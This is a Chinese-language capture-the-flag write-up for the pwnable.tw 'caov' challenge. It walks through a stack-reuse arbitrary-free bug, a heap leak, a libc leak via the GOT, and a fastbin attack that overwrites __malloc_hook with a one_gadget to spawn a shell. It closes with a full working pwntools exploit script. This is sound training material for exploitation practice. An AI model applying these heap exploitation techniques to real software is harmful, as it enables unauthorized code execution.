人生自是有情痴,此恨不关风雨月。 ——《玉楼春》欧阳修
题目保护
没有开ASLR保护,其它保护全开,话不多说,上IDA,直接开整。
漏洞分析
题目是用C++编写的,给了源代码,但是从代码中看不出漏洞,所以只能从IDA来分析。用IDA分析C++程序最关键的就是构建对象的结构。
在main函数中,new了一个0x30大小的空间,并随后就对该空间的数据进行了赋值,可以合理推测,这里创建了对象,并且对象的大小为0x30。
进入显示函数,我们可以很容易的得到对象各个数据段的意义。
逆向出数据结构后,我们就可以好好的分析程序了。
在图中所示的程序处,存在一个储存于栈地址的对象,并且在程序的开始处,对该对象进行了解构。同时我们发现该函数是在sub_401396调用后随后调用,没有对栈地址清零,因此可以使用stack-reuse技术,构造栈地址上的对象,从而可以任意free,实施fast bin攻击。
漏洞利用
在漏洞利用前,我们需要理清楚程序的逻辑。在重新编辑阶段,程序会经历new1->free_arb->(new2)->show->free1。其中new1和free1是相对应的,free_arb即我们使用stack-reuse释放的堆块。new2仅将输入的长度小于1000并且将输入的长度大于现今的长度时才调用,注意这个很关键,后面的利用会常用到这个特征。
想要获得shell,我们就需要泄露libc,而如果我们可以控制对象的key值,就可以实现任意读。但是对象是被分配在堆上的,所以想要泄露libc,首先得泄露heap。如何泄露heap?程序凡是涉及输入的,都会在输入数据的末尾加上\x00,因此如果想通过堆块残留的数据来进行泄露,是不行的。该如何?既然利用残留的数据不行,那么我们就将正在使用的堆块释放,将堆块链表数据覆盖本身的值,进而来输出。
思路就很清晰了,利用free_arb释放一个堆块,new2分配到,然后再free_arb同一个块,利用上述条件使此时new2不满足条件,进而show泄露出heap。这一段的代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
enter_name('aaa')
enter_info("a"*0x28,1)
#leak heap address
#0x60
fake_chunk=p64(0)+p64(0x41)+p64(0)*6+p64(0)+p64(0x21)+p64(0)*2
edit(fake_chunk+p64(name+0x10),0x30,'a'*0x30,1)
edit_name(fake_chunk+p64(name+0x10))
ru("after")
ru("Key: ")
heap=u64(ru("\n").ljust(8,b'\x00'))
# target_heap=heap-(0xd50-0xc60)
target_heap=heap+0xcd0-0xc90
info_addr("heap",heap)
info_addr("target_heap",target_heap)
|
泄露libc就很容易了,由于开了FULL RELRO保护,GOT表会在程序运行时,提前加载好,因此如果修改key为GOT地址,就可以泄露libc了。具体的做法是用泄露的heap,计算对象所在堆块,然后free_arb,再new2分配到,进而修改。
1
2
3
4
5
6
7
8
9
10
11
12
|
#leak libc address
fake_chunk=p64(0)+p64(0x41)+p64(heap)+p64(0)*6+p64(0x21)+p64(0)*2
edit(fake_chunk+p64(target_heap+0x10),0x30,p64(got),2)
ru("after")
ru("Key: ")
libc_base=u64(ru("\n").ljust(8,b'\x00'))-libc.symbols["exit"]
malloc_hook=libc_base+libc.symbols["__malloc_hook"]
#0x4526a (0x30) 0xef6c4 (0x50) 0xf0567 (0x70)
one_gadget=libc_base+0xef6c4
info_addr("libc_base",libc_base)
info_addr("malloc_hook",malloc_hook)
info_addr("one_gadget",one_gadget)
|
打malloc_hook即可获得shell,具体思路与上面一致。
1
2
3
4
5
6
|
#attack
fake_chunk=p64(0)+p64(0x71)+p64(0)*10+p64(name+0x10)+p64(0)*2+p64(0x21)
edit_name(fake_chunk)
fake_chunk=p64(0)+p64(0x71)+p64(malloc_hook-0x23)
edit(fake_chunk,0x60,'a',2)
edit(p64(0),0x60,b'\x00'*0x13+p64(one_gadget),2)
|
CODE
全部代码如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
|
from pwn import *
s = lambda data :sh.send(data)
sa = lambda delim,data :sh.sendafter(delim, data)
sl = lambda data :sh.sendline(data)
sla = lambda delim,data :sh.sendlineafter(delim, data)
sea = lambda delim,data :sh.sendafter(delim, data)
r = lambda numb=4096 :sh.recv(numb)
ru = lambda delims, drop=True :sh.recvuntil(delims, drop)
info_addr = lambda tag, addr :sh.info(tag +': {:#x}'.format(addr))
itr = lambda :sh.interactive()
if args['REMOTE']:
sh=remote("chall.pwnable.tw",10306)
else:
sh=process('./caov')
if args['I386']:
context.arch='i386'
else:
context.arch='amd64'
if args['DEBUG']:
context.log_level='debug'
def debug(command=''):
context.terminal = ['tmux', 'splitw', '-v']
gdb.attach(sh,command)
def choice(elect):
ru(':')
sl(str(elect).encode())
def edit(name,length,key,value):
choice(2)
enter_name(name)
ru("length:")
sl(str(length).encode())
enter_info(key,value)
def show():
choice(1)
def enter_name(name):
ru("name:")
sl(name)
def enter_info(key,value):
ru("ey:")
sl(key)
ru("alue:")
sl(str(value).encode())
def edit_name(name):
choice(2)
enter_name(name)
ru("length:")
sl("1024".encode())
def exp():
#libc=ELF("/glibc/2.23/64/lib/libc-2.23.so")
libc=ELF("./libc_64.so")
name=0x6032C0
got=0x602F20
#debug("b*0x00000000004014F5 \nc")
enter_name('aaa')
enter_info("a"*0x28,1)
#leak heap address
#0x60
fake_chunk=p64(0)+p64(0x41)+p64(0)*6+p64(0)+p64(0x21)+p64(0)*2
edit(fake_chunk+p64(name+0x10),0x30,'a'*0x30,1)
edit_name(fake_chunk+p64(name+0x10))
ru("after")
ru("Key: ")
heap=u64(ru("\n").ljust(8,b'\x00'))
# target_heap=heap-(0xd50-0xc60)
target_heap=heap+0xcd0-0xc90
info_addr("heap",heap)
info_addr("target_heap",target_heap)
#leak libc address
fake_chunk=p64(0)+p64(0x41)+p64(heap)+p64(0)*6+p64(0x21)+p64(0)*2
edit(fake_chunk+p64(target_heap+0x10),0x30,p64(got),2)
ru("after")
ru("Key: ")
libc_base=u64(ru("\n").ljust(8,b'\x00'))-libc.symbols["exit"]
malloc_hook=libc_base+libc.symbols["__malloc_hook"]
#0x4526a (0x30) 0xef6c4 (0x50) 0xf0567 (0x70)
one_gadget=libc_base+0xef6c4
info_addr("libc_base",libc_base)
info_addr("malloc_hook",malloc_hook)
info_addr("one_gadget",one_gadget)
#attack
fake_chunk=p64(0)+p64(0x71)+p64(0)*10+p64(name+0x10)+p64(0)*2+p64(0x21)
edit_name(fake_chunk)
fake_chunk=p64(0)+p64(0x71)+p64(malloc_hook-0x23)
edit(fake_chunk,0x60,'a',2)
edit(p64(0),0x60,b'\x00'*0x13+p64(one_gadget),2)
debug()
itr()
exp()
|